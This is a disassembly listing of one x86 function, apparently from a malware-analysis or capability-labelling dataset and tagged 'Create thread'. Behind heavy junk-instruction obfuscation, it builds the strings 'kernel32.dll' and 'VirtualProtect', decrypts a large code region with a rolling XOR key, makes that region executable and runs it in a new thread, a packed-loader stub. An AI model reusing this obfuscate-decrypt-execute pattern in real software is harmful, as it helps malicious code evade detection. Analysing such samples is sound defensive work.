Function at 0x4cbd8d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push edi
push ebx
pop ebx
pop edi
xchg edi, edi
call fcn.004cc15f
pushfd
xor ecx, 0x2d1b763a
xor ecx, 0x2d1b763a
popfd
lea eax, [ebp - 0xd8]
push edx
push esi
pop esi
pop edx
mov ebx, 0x61
push esi
pop esi
pushfd
inc esi
dec esi
popfd
add bx, 0xa
mov ecx, ecx
push eax
pop eax
mov word [eax], bx
push eax
push ecx
pop ecx
pop eax
pushfd
push ecx
add esp, 4
popfd
sub bx, 6
nop
pushfd
xor eax, 0x45bcb845
xor eax, 0x45bcb845
popfd
mov word [eax + 2], bx
push edx
push edi
pop edi
pop edx
add bx, 0xd
push ebx
push edx
pop edx
pop ebx
xchg edx, edx
mov word [eax + 4], bx
push esi
pop esi
sub bx, 4
pushfd
inc edi
dec edi
popfd
push edi
pop edi
mov word [eax + 6], bx
xchg edi, edi
sub bx, 9
xchg edi, edx
xchg edx, edi
xchg ecx, edx
xchg edx, ecx
mov word [eax + 8], bx
pushfd
push 0xbebe14c5
add esp, 4
popfd
xchg ebx, ebx
add bx, 7
pushfd
xor ecx, 0x404a9b33
xor ecx, 0x404a9b33
popfd
mov esi, esi
mov word [eax + 0xa], bx
pushfd
push 0x1fb3517e
add esp, 4
popfd
sub bx, 0x39
pushfd
push 0x24448b65
add esp, 4
popfd
mov word [eax + 0xc], bx
pushfd
push eax
add esp, 4
popfd
dec bx
pushfd
xor esi, 0x9924a872
xor esi, 0x9924a872
popfd
pushfd
xor eax, 0xdb2f87b
xor eax, 0xdb2f87b
popfd
mov word [eax + 0xe], bx
push ebx
push eax
pop eax
pop ebx
xchg edi, edx
xchg edx, edi
sub bx, 4
xchg esi, edx
xchg edx, esi
xchg esi, esi
mov word [eax + 0x10], bx
push ebx
pop ebx
add bx, 0x36
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
xor ecx, 0xcfd056d4
xor ecx, 0xcfd056d4
popfd
pushfd
push ecx
add esp, 4
popfd
add bx, 8
pushfd
xor esi, 0x6748cb46
xor esi, 0x6748cb46
popfd
mov word [eax + 0x14], bx
xchg edx, edx
mov word [eax + 0x16], bx
pushfd
xor ecx, 0x29034b8
xor ecx, 0x29034b8
popfd
mov ebx, ebx
mov word [eax + 0x18], 0
push eax
push esi
pop esi
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push eax
add esp, 4
popfd
mov dword [ebp - 0x10], eax
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x513367cb
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0xe923b5fd
add esp, 4
popfd
mov ebx, 0x61
nop
sub bl, 0xb
xchg edx, edx
push edi
push ecx
pop ecx
pop edi
mov byte [eax], bl
push ebx
pop ebx
pushfd
push esi
add esp, 4
popfd
add bl, 0x13
pushfd
push 0x4fbd001
add esp, 4
popfd
mov byte [eax + 1], bl
xchg ecx, eax
xchg ecx, eax
add bl, 9
xchg ebx, ebx
mov byte [eax + 2], bl
pushfd
xor esi, 0xeef8e137
xor esi, 0xeef8e137
popfd
add bl, 2
pushfd
push 0xc557ed48
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 3], bl
xchg edi, edi
push edi
pop edi
inc bl
push ebx
push eax
pop eax
pop ebx
mov byte [eax + 4], bl
xchg ecx, ebx
xchg ebx, ecx
sub bl, 0x14
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 5], bl
mov esi, esi
mov edi, edi
add bl, 0xb
xchg edx, eax
xchg edx, eax
mov byte [eax + 6], bl
xchg edx, edx
sub bl, 0x1c
push esi
pop esi
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 7], bl
mov eax, eax
add bl, 0x22
pushfd
push 0x5372b38f
add esp, 4
popfd
mov byte [eax + 8], bl
xchg edi, edx
xchg edx, edi
pushfd
inc ecx
dec ecx
popfd
sub bl, 3
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
push 0x13870e47
add esp, 4
popfd
add bl, 5
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 0xa], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0xf
xchg edi, edi
xchg edi, edi
mov byte [eax + 0xb], bl
push eax
pop eax
sub bl, 2
pushfd
inc ecx
dec ecx
popfd
xchg ebx, ebx
mov byte [eax + 0xc], bl
pushfd
xor edi, 0xd1dfc128
xor edi, 0xd1dfc128
popfd
add bl, 0x11
mov eax, eax
mov byte [eax + 0xd], bl
xchg edx, edx
mov byte [eax + 0xe], 0
pushfd
inc eax
dec eax
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
inc eax
dec eax
popfd
push edi
pop edi
mov dword [ebp - 0xc], eax
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 8]
push edi
push ebx
pop ebx
pop edi
pushfd
push 0xd1610bc7
add esp, 4
popfd
push eax
push 4
push 0x873ac
push entry0
call dword [ebp - 0xc]
push ecx
push eax
pop eax
pop ecx
pushfd
inc ebx
dec ebx
popfd
mov edi, entry0
pushfd
push 0xd717626c
add esp, 4
popfd
pushfd
push 0x2945a96f
add esp, 4
popfd
mov esi, 0x40100e
xchg edi, ecx
xchg ecx, edi
mov ecx, 0x873ac
pushfd
xor eax, 0x9edded57
xor eax, 0x9edded57
popfd
mov edx, 0xcd1a90a4
push edx
push ecx
pop ecx
pop edx
mov ebx, 0xbfca90c1
xchg edx, edi
xchg edi, edx
xchg esi, ebx
xchg ebx, esi
cld
mov eax, eax
lodsb al, byte [esi]
xchg edi, edi
xor al, dl
xchg ecx, ecx
stosb byte es:[edi], al
nop
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
xchg ecx, ecx
test ebx, 1
xchg ebx, ebx
je 0x4cc0dc
mov ebx, ebx
add esi, 1
mov esi, esi
ror ebx, 1
xchg edi, edi
dec ecx
nop
test ecx, ecx
mov ebx, ebx
jne 0x4cc0b6
pushfd
xor edx, 0x24082093
xor edx, 0x24082093
popfd
mov eax, eax
lea eax, [ebp - 8]
pushfd
inc edi
dec edi
popfd
push eax
push 0x20
push 0x873ac
push entry0
call dword [ebp - 0xc]
mov ecx, ecx
push ebx
pop ebx
lea eax, [ebp - 4]
xchg ebx, ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov edx, edx
xchg ecx, edx
xchg edx, ecx
xchg esi, esi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg esi, eax
xchg esi, eax
jmp 0x4cc132